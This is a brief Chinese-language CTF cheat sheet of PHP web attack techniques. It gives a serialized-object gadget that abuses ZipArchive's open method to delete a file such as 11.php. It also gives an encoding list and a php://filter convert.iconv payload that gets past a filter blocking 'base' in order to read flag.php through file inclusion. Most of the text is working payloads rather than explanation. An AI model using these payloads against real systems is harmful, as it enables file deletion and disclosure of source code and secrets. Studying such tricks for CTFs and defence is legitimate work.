Zip #

利用 ZipArchive 内置类的open方法达到删除文件效果 #

class Jesen {
    public $filename='11.php';
    public $content=8;
    public $me;
}
$a=new Jesen;
$a->me=new ZipArchive;
echo serialize($a);

base64 #

文件包含过滤了base,用其他编码，不行多试几个

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
...
\\具体支持的编码可见php官方文档
\\https://www.php.net/manual/zh/mbstring.supported-encodings.php

php://filter/convert.base64-encode/resource=

payload

php://filter//convert.iconv.EUC-JP*.UCS-4*/resource=flag.php